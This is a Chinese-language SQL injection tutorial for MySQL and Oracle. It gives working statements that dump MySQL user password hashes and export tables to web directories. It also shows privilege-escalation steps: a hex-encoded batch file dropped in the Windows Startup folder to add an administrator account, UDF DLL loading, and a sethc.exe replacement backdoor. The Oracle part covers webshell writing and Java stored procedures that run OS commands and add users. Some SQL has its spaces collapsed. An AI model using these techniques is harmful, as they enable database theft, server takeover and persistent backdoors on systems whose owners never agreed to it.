MySQL注入
Information_schema数据库存储了MySQL数据库表结构的各种信息; tables表Table_name字段,存储了当前用户权限下能查看的所有的表名称。 table_rows字段,存储了每个标的行数。
LIMIT子句可以被用于强制SELECT语句返回指定的记录数。 LIMIT接受一个或两个数字参数。参数必须是一个整数常量。 如果给定两个参数,第一个参数指定第一个返回记录行的偏移量, 第二个参数指定返回记录行的最大数目。
查询Mysql所有数据库中所有表名带有user关键字的表,并且按照表的行数降序排列:SELECTi.TABLE_NAME,i.TABLE_ROWSFROM information_schema.`TABLES` AS iWHERE i.TABLE_NAMELIKE '%user%'ORDER BY i.TABLE_ROWSDESC
查只在当前数据库查询:SELECTi.TABLE_NAME,i.TABLE_ROWSFROM information_schema.`TABLES` AS iWHERE i.TABLE_NAMELIKE '%user%'AND i.TABLE_SCHEMA = database()ORDER BY i.TABLE_ROWSDESC
查询字段当中带有user关键字的所有的表名和数据库名:SELECTi.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAMEFROM information_schema.`COLUMNS` AS iWHERE i.COLUMN_NAME LIKE '%user%'
特殊函数的使用方法
CONCAT函数用于将多个字符串连接成一个字符串。 concat函数使用方法:CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。
select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user`
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user`
CONCAT_WS使用语法为:CONCAT_WS(separator,str1,str2,…)CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。 分隔符的位置放在要连接的两个字符串之间。 分隔符可以是一个字符串,也可以是其它参数。
数据脱裤
注入在windows下默认是E:\如果用“\”去表示路径的话需要转换成E:\\而更方便的方式是直接用/去表示即E:/。 当我们知道WEB路径的情况下而又有outfile权限直接导出数据库中的用户信息。
select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
如果是在一些极端的情况下无法直接outfile我们可以合理的利用concat和GROUP_CONCAT去把数据显示到页面, 如果数据量特别大,我们可以用concat加上limit去控制显示的数量。比如每次从页面获取几百条数据? 写一个工具去请求构建好的SQL注入点然后把页面的数据取下来,那么数据库的表信息也可以直接从注入点全部取出来。
注入点提权
1、写启动项
直接写到windows的启动目录就行了, 我测试的系统是windows7直接写到: C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目录就行了。
select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'
2、失败的注入点UDF提权尝试
MYSQL提权的方式挺多的,并不局限于udf、mof、写windows启动目录、SQL语句替换sethc实现后门等。
UDF提权:1、在进行mysql的udf提权的时候需要注意的是mysql的版本, mysql5.1以下导入到windows目录就行了,而mysql<=5.1需要导入到插件目录。 我测试的是Mysql5.5.27我们的首要任务就是找到mysql插件路径。union select 1,2,3,@@plugin_dir
2、通过MYSQL预留的变量很轻易的就找到了mysql所在目录,那我们需要把udf导出的绝对路径就应该是: D:/install/dev/mysql5.5/lib/plugin/udf.dll。现在我们要做的就是怎样通过SQL注入去把这udf导出到上述目录了。因为在命令行或执行单条语句的时候转换成BINARY(一定是BINARY不能写成CHAR)去dumpfile的时候是可以成功导出二进制文件的。 我们用浏览器浏览网页的时候都是以GET方式去提交的,而如果我用GET请求去传这个十六进制的udf的话显然会超过GET请求的限制, 于是我简单的构建了一个POST请求去把一个110K的0x传到后端。SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0xUDF的十六进制,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
3、创建一个function函数create function cmdshell returns string soname ‘udf.dll’;因为没有办法去创建一个function所以用注入点实现udf提权在上一步就死了, 通过在命令行执行创建function只能算是心灵安慰了,只要完成了create function那一步我们就真的成功了,因为调用自定义function非常简单:
3、MOF和sethc提权:
具备自己导入任意文件到任意目录了,而MOF实际上就是写一个文件到指定目录,而sethc提权我只成功模糊的过一次。
create table mix_cmd( shift longblob);insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
drop table if exists mix_cmd;
Oracle注入
Oracle注入基础
1、dual是一个虚拟表,用来构成select的语法规则, oracle保证dual里面永远只有一条记录。在Oracle里面有比较严格的类型要求。2、union查询时Oracle当中正确的注入方式用NULL去占位在我们未知哪个字段是什么类型。3、Oracle分页查询需要使用三层嵌套查询,SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0
常见的语句:版本信息:SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—获取启动Oracle的用户名:select SYS_CONTEXT ('USERENV','OS_USER') from dual;服务器监听IP:select utl_inaddr.get_host_address from dual;服务器操作系统:select member from v$logfile where rownum=1;当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;获取当前连接的数据库名:select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;关于获取敏感的表和字段说明:1、获取所有的字段schema:select * from user_tab_columns2、获取当前用户权限下的所有的表:SELECT * FROM User_tables
GetShell上传木马
1、在有Oracle连接权限没有webshell时候通过utl_file获取shell(当然用户必须的具有创建DIRECTORY的权限):grant CREATE ANY DIRECTORY TO SCOTT;
2、创建目录create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
3、写入shell到指定目录:注意directory在这里一定要大写:declare frw utl_file.file_type; begin frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w'); utl_file.put_line(frw,'hello world.'); utl_file.fclose(frw); end;/
在低权限下getshell
执行以下SQL创建表空间:create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;CREATE TABLE SHELL(C varchar2(100)) tablespace shell;insert into SHELL values('hello world');commit;alter tablespace shell offline;drop tablespace shell including contents;
SQLJ运行环境由纯Java实现的小SQLJ运行库组成,该运行时库转而调用相应数据库的JDBC驱动程序。
SQL创建Java储存过程:create or replace and compilejava source named "getShell"as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
创建函数:create or replacefunction getShell(p in varchar2, c in varchar2) return numberaslanguage javaname 'util.getShell(java.lang.String, java.lang.String) return Integer';创建存储过程:create or replace procedure RC(p in varChar, c in varChar)asx number;beginx := getShell(p,c);end;授予Java权限:variable x number;set serveroutput on;exec dbms_java.set_output(100000);grant javasyspriv to system;grant javauserpriv to system;写webshell:exec :x:=getShell('d:/3.txt','selina');
Java里的方法去执行命令。创建Java存储过程:create or replace and compile java source named "Execute" as import java.io.BufferedReader;import java.io.InputStreamReader;public class Execute { public static void executeCmd(String c) { try { String l="",t; BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk")); while((t=br.readLine())!=null){ l+=t+"\n"; } System.out.println(l); } catch (Exception e) { e.printStackTrace(); } }}创建存储过程executeCmd:create or replace procedure executeCmd(c in varchar2)aslanguage java name 'Execute.executeCmd(java.lang.String)';执行存储过程:exec executeCmd('net user selina 123 /add');